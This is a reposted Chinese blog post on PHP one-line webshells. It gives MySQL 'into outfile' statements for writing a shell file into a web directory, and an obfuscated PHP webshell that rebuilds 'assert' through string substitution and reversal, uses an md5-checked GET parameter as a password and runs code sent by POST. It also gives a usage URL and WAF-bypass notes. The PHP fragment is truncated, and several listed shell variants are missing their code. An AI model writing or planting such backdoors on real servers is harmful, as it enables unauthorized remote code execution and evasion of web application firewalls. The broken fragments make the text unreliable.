一句话shell【php】

1.mysql执行语句拿shell

Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('');
select cmd from a into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\test.php';

一句话shell【php】_第1张图片

 

 2.利用md5绕过waf

---------------------
本体
'as','fdgdefjg0J)'=>'se','r&%F%*^G*t'=>'rt')); $str3 = strtr($str2,array('s,'=>'s','fdgdefjg0J)r&%F%*^G*'=>'er')); if(md5(@$_GET['a']) =='2858b958f59138771eae3b0c2ceda426'){ $str4 = strrev($_POST['a']); $str5 = strrev($str4); $str3($str5); } ?>
---------------------
本质

------------------------
利用
.php?a=3fion0hj5965698jhh密码a

注:default失败!其他编码成功!

一句话shell【php】_第2张图片

 

3.get_defined_vars()函数马:在过滤$的情况下可使用

 

4.不含字母数字马

注:只能菜刀连接!

或者

 

https://www.freebuf.com/articles/web/173579.html

 https://mochazz.github.io/2017/12/04/bypass1/

 

转载于:https://www.cnblogs.com/p0pl4r/p/10632441.html

你可能感兴趣的:(一句话shell【php】)